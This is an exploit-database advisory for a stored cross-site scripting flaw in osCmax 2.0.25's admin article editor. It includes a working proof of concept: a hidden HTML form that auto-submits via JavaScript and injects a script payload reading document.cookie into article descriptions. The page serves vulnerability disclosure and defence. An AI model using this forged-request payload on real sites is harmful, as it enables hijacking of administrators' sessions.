osCmax Cross-Site Scripting Vulnerability

vendor:

osCmax

by:

Unknown

4.3

CVSS

MEDIUM

Cross-Site Scripting (XSS)

CWE

Product Name: osCmax

Affected Version From: 2.0.25

Affected Version To: 2.0.25

Patch Exists: NO

Related CWE:

CPE: a:oscmax:oscmax:2.0.25

Metasploit:

Other Scripts:

Platforms Tested:

2010

osCmax Cross-Site Scripting Vulnerability

osCmax fails to properly sanitize user-supplied input, allowing an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can lead to the theft of cookie-based authentication credentials and other attacks.

Mitigation:

To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization routines to ensure that user-supplied data is not executed as code by the application.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/40998/info

osCmax is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

osCMax 2.0.25 is vulnerable; other versions may also be affected.

<form action="http://www.example.com/admin/articles.php?tPath=1&aID=1&action=update_article" method="post" name="main" enctype="multipart/form-data" >
<input type="hidden" name="articles_status" value="1" />
<input type="hidden" name="articles_date_available" value="2010-06-04" />
<input type="hidden" name="authors_id" value="" />
<input type="hidden" name="articles_date_added" value="2010-06-04 00:00:00" />
<input type="hidden" name="x" value="1" />
<input type="hidden" name="y" value="2" />

<input type="hidden" name="articles_name[1]" value="article name" />
<input type="hidden" name="articles_description[1]" value='content"><script>alert(document.cookie)</script>' />
<input type="hidden" name="articles_url[1]" value="" />
<input type="hidden" name="articles_head_title_tag[1]" value="article title" />
<input type="hidden" name="articles_head_desc_tag[1]" value="" />
<input type="hidden" name="articles_head_keywords_tag[1]" value="" />

<input type="hidden" name="articles_name[2]" value="article name" />
<input type="hidden" name="articles_description[2]" value='content"><script>alert(document.cookie)</script>' />
<input type="hidden" name="articles_url[2]" value="" />
<input type="hidden" name="articles_head_title_tag[2]" value="article title" />
<input type="hidden" name="articles_head_desc_tag[2]" value="" />
<input type="hidden" name="articles_head_keywords_tag[2]" value="" />

<input type="hidden" name="articles_name[3]" value="article name" />
<input type="hidden" name="articles_description[3]" value='content"><script>alert(document.cookie)</script>' />
<input type="hidden" name="articles_url[3]" value="" />
<input type="hidden" name="articles_head_title_tag[3]" value="article title" />
<input type="hidden" name="articles_head_desc_tag[3]" value="" />
<input type="hidden" name="articles_head_keywords_tag[3]" value="" />

<input type="hidden" name="x" value="3" />
<input type="hidden" name="y" value="4" />

</form>
<script>
document.main.submit();
</script>